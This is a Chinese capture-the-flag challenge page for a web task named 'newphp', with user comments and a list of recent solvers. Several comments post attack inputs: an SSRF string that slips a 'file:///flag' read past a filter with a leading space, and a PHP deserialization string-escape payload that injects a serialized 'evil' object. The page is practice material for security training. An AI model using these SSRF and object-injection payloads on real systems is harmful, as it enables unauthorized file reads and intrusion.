newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一　　血: lastsward
一血奖励: 3金币
解　　决: 1393
提　　示:
描　　述:
flag{}
...
登录回复
评论
Archer7 3年前
举报

index.cgi/?name= file:///flag

回复 3
lysandria 4年前
举报

挺难的。ssrf的header头可以用空格逃逸。

回复 2
15338641414 4年前
举报

?name=%20file:///flag

回复 1
zhougaoleng 4年前
举报

"User-Agent" 那一栏提示curl，终端中使用curl空格然后加协议。可能后台代码判断开头空格识别是否为协议

回复 2
lengf 4年前
举报

www,太难了，看着wp我都做了好久，序列化和字符串逃逸，ssrf。。。

回复 0
a2cai 4年前
举报

PHP字符逃逸和SSRF，我不会看WP做的...记到小本本里待学！

回复 0
hhtctf2 5年前
举报

username=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";} 为什么不行啊，页面没变化

回复 0
hhtctf2 5年前
举报

http://114.67.246.176:11474/ username=\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0&password=1";O:4:"evil":2:{s:4:"hint";s:8:"hint.php&quo

回复 0
4thrun 5年前
举报

空格逃逸闭合哈哈

回复 0
BSOD 5年前
举报

这cgi是什么鬼啊

回复 0

WriteUp

image
M1kael

6 金币

立即查看

评分(7)

解题动态

Ray66666666 攻破了该题 17小时前
KDAtc 攻破了该题 23小时前
xong_bai 攻破了该题 1天前
code_mask 攻破了该题 3天前
kimol 攻破了该题 3天前
niubill 攻破了该题 6天前
C071 攻破了该题 8天前
dsdqh699 攻破了该题 9天前
lover 攻破了该题 9天前
galois 攻破了该题 10天前
shylock 攻破了该题 10天前
ziyou 攻破了该题 14天前
Brightt 攻破了该题 14天前
saku688 攻破了该题 14天前
mechatengo 攻破了该题 14天前
燕双鹰 攻破了该题 15天前
Mr.Cyber 攻破了该题 16天前
afeer123 攻破了该题 16天前
百里一兔 攻破了该题 16天前
nihao123@ 攻破了该题 18天前
问题反馈